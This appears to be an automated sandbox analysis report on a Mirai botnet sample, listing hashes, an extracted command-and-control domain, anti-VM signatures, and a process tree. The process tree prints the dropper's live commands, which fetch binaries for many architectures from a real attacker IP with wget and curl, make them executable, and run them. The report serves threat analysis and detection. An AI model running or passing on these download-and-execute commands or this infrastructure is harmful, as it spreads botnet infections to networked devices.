mirai | 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae

Analysis

max time kernel
37s
max time network
65s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/07/2024, 00:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
Size 2KB
Sample240722-ak2saavbqn
SHA256 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
MD5 0cfdd05ea2bb11d74b3ce3b95fc29421
SHA1 665cc6ba414b286da9c1a41a618d843275fa53cc
SHA512 8a0baf4405ad2462a4a735d4a2a84d8d0b9ef10b72261716e0afb985f280d93aac4f5e8e40a6da0d330264813a077f3a4216df862821022d2f9c3ea90147c120
MD5 SHA1 SHA512

Score

10^/10

mirai mirai antivm botnet

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

whois.hopto.org

Extracted

Family

mirai

Botnet

MIRAI

whois.hopto.org

Extracted

Family

mirai

Botnet

MIRAI

whois.hopto.org

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/tsuki	701	tsuki
/tmp/tsuki	733	tsuki
/tmp/tsuki	763	tsuki
/tmp/tsuki	780	tsuki
/tmp/tsuki	793	tsuki
/tmp/tsuki	807	tsuki
/tmp/tsuki	816	tsuki
/tmp/tsuki	824	tsuki
/tmp/tsuki	830	tsuki
/tmp/tsuki	838	tsuki
/tmp/tsuki	843	tsuki
/tmp/tsuki	848	tsuki
/tmp/tsuki	854	tsuki

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tsuki.ppc	wget
File opened for modification	/tmp/tsuki.sh4	wget
File opened for modification	/tmp/tsuki.sh4	curl
File opened for modification	/tmp/tsuki.arm5	curl
File opened for modification	/tmp/tsuki.mpsl	curl
File opened for modification	/tmp/tsuki.arm7	curl
File opened for modification	/tmp/tsuki.m68k	wget
File opened for modification	/tmp/tsuki.m68k	curl
File opened for modification	/tmp/tsuki.spc	curl
File opened for modification	/tmp/tsuki.mips	wget
File opened for modification	/tmp/tsuki.ppc	curl
File opened for modification	/tmp/tsuki.i686	curl
File opened for modification	/tmp/tsuki.x86	curl
File opened for modification	/tmp/tsuki	95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
File opened for modification	/tmp/tsuki.mips	curl
File opened for modification	/tmp/tsuki.mpsl	wget
File opened for modification	/tmp/tsuki.arm	wget
File opened for modification	/tmp/tsuki.arm	curl
File opened for modification	/tmp/tsuki.arm6	curl
File opened for modification	/tmp/tsuki.arm7	wget
File opened for modification	/tmp/tsuki.x86	wget
File opened for modification	/tmp/tsuki.arc	curl

/tmp/95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
/tmp/95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
1⤵
- Writes file to tmp directory
PID:668
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.x86
  2⤵
  - Writes file to tmp directory
  PID:670
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/cat
  cat tsuki.x86
  2⤵
  PID:698
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.x86
  2⤵
  PID:700
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:701
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.mips
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/cat
  cat tsuki.mips
  2⤵
  PID:730
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.mips tsuki.x86
  2⤵
  PID:731
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:733
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.mpsl
  2⤵
  - Writes file to tmp directory
  PID:736
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat tsuki.mpsl
  2⤵
  PID:761
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.mips tsuki.mpsl tsuki.x86
  2⤵
  PID:762
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:763
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.arm
  2⤵
  - Writes file to tmp directory
  PID:765
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/cat
  cat tsuki.arm
  2⤵
  PID:777
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.arm tsuki.mips tsuki.mpsl tsuki.x86
  2⤵
  PID:778
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:780
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.arm5
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat tsuki.arm5
  2⤵
  PID:790
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.arm tsuki.arm5 tsuki.mips tsuki.mpsl tsuki.x86
  2⤵
  PID:791
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:793
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.arm6
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/cat
  cat tsuki.arm6
  2⤵
  PID:804
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.mips tsuki.mpsl tsuki.x86
  2⤵
  PID:806
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:807
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.arm7
  2⤵
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat tsuki.arm7
  2⤵
  PID:814
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.mips tsuki.mpsl tsuki.x86
  2⤵
  PID:815
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:816
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.ppc
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/cat
  cat tsuki.ppc
  2⤵
  PID:819
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-66fb0596873243b6a8b63dce4a4ab928-systemd-timedated.service-qO2O8L tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.mips tsuki.mpsl tsuki.ppc tsuki.x86
  2⤵
  PID:821
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:824
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.m68k
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat tsuki.m68k
  2⤵
  PID:828
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.x86
  2⤵
  PID:829
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:830
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.spc
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat tsuki.spc
  2⤵
  PID:836
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.spc tsuki.x86
  2⤵
  PID:837
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:838
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.i686
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/cat
  cat tsuki.i686
  2⤵
  PID:841
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.spc tsuki.x86
  2⤵
  PID:842
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:843
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.sh4
  2⤵
  - Writes file to tmp directory
  PID:844
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/cat
  cat tsuki.sh4
  2⤵
  PID:846
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.sh4 tsuki.spc tsuki.x86
  2⤵
  PID:847
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:848
- /usr/bin/wget
  wget http://176.123.2.219/bins/tsuki.arc
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://176.123.2.219/bins/tsuki.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/cat
  cat tsuki.arc
  2⤵
  PID:852
- /bin/chmod
  chmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arc tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.sh4 tsuki.spc tsuki.x86
  2⤵
  PID:853
- /tmp/tsuki
  ./tsuki payload
  2⤵
  - Executes dropped EXE
  PID:854

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tsuki

Path /tmp/tsuki
Size 98KB
SHA256 c6603610d98124953b9b6e4355611cb0588507a8a003aff36771937b43e2acd0
MD5 6cf78b3572c325d809ad4677c2ebd6a2
SHA1 be2f27c2b001f981344e52333568cb0dc7ffe7ad
SHA512 bcb15e53b55134cefcf8de2c0fd28fee6154dc63bc053007f581cec3bc024052b663eed5ce2f3eea3c3b7749d2f4e7a5b0ed013c489bc1c28755d82bebea8a24
SSDEEP 3072:QqDrLDpmUnm9IdHR66sKAWND9YdwbZnb8:VrLDpmUnxHR66sfI5OwRb8
MD5 SHA1 SHA512 SSDEEP

Submit Download

tsuki

Path /tmp/tsuki
Size 99KB
SHA256 eb2c0d50d32ebf8d18e82dd780c2432f4010e5dd8f0cc84c04a10f03f8399a6d
MD5 2cf4b7e9a6fa11dbff627fc7aeee3f97
SHA1 0cbc6d981a4d7ce2650ebe9aba5ec89a8377fefb
SHA512 18272662786616a679ed85164c4fa7fe2a865f8c4eedde57403f8fd197c34b356ff3a62155ea9069f2e1f172c4545c29db4c3144c9932f90bdea5a4f14141f57
SSDEEP 1536:g07hsdRePSpFrMTH5+U21MaxUDKh/pRmvm3ZZHdbaCR+wbZn7Z:J1sdRePSpVMTo6Kh/LmvojQwbZn7
MD5 SHA1 SHA512 SSDEEP

Submit Download

tsuki

Path /tmp/tsuki
Size 90KB
SHA256 cbe3077abc42c9e725ee561b8e369c9e5b3819d762d8fa9889b27c1e10dfb8b3
MD5 3cd8418ac8f414def6727fe141d328b9
SHA1 dc61b74e9e08ff3208ee96a6c94f8247e6196b99
SHA512 98d72d05b5b65fac98ed3b448ebf73786040da5aebbe56c060781f78638e75e62ad8801618874c4c17c13cd59bab93f58a31b565a350ac118257d2a0a21409b9
SSDEEP 1536:6VD1F2MnvNFlVqQVP4p8O3fasqDLvvvtl3kZkJYxxxxxxxxxxxxxxxzxxxxxxxx:I1pvNNZ4xPrqD7vv/2qbFiKITnhctRwG
MD5 SHA1 SHA512 SSDEEP

Submit Download

tsuki

Path /tmp/tsuki
Size 213B
SHA256 43953e23b49d467cd6b2e40603c2465769cd1620706ef52fecc71777f9964f78
MD5 eeed291445ee3e6bac53540dfd6cd91c
SHA1 afc1907c25cf19a1ecf3e83fcd1f7cc72d085f41
SHA512 ee610ac06ef742dbf5b616c72b30a32b64a2873272cbf297367de20563bf405b183842fb5e2012f29d5ee11e6ee10e97a90ec915ffb659f22439f7c1ca21d283
MD5 SHA1 SHA512

Submit Download

tsuki

Path /tmp/tsuki
Size 164KB
SHA256 96de1caeeddeba6420add3efbba3e360a13b9956a32be4ee1d4464129154e806
MD5 adf30c84e4d1a741bb51593fa750d624
SHA1 ca52225d16c403e9e6ab662e8dab63496281945d
SHA512 9ce9154a018aa53c49403c1919cb223f066821a22a9692cbb1defd185098842d8ded4f0a3f17cd6017367ea1357c41295c9f199d1148998f7283f511244db846
SSDEEP 3072:M/l8jVJm3kmDTDd7qcmMuQRwbZnNpCdeTBnH/YiwbZn566RjsM/92/s3b:M/eu3kmZPsQRwRN4eJH/3wR566RwM/9D
MD5 SHA1 SHA512 SSDEEP

Submit Download

tsuki.x86

Path /tmp/tsuki.x86
Size 76KB
SHA256 2d1fd93daf8cadaf775a8cd4e21f8b7b1759442bd260eb6dde3aee319adae117
MD5 f60ada8b79c2232773b9c08868c1c5fb
SHA1 8752a84f5cc638e0a87ffa7bb28d4a9661fcbefa
SHA512 71fe4806ac06da9a8d704bbabcc7dc7d0d7e087b420ea81923c888f0f8836b455e790899504729611e883e597a31c5eb7298c4cd5f442117cc799f98102eb9e8
SSDEEP 1536:S4Vxmlp7eJ2Ff/cBGBLNPcYhd3P53mAj9n7eMVBSa9EGA61GaLQpkh53BwbZnx:S4ilp7qA3KsL/d3h3j97e+SbGAGLQpk2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads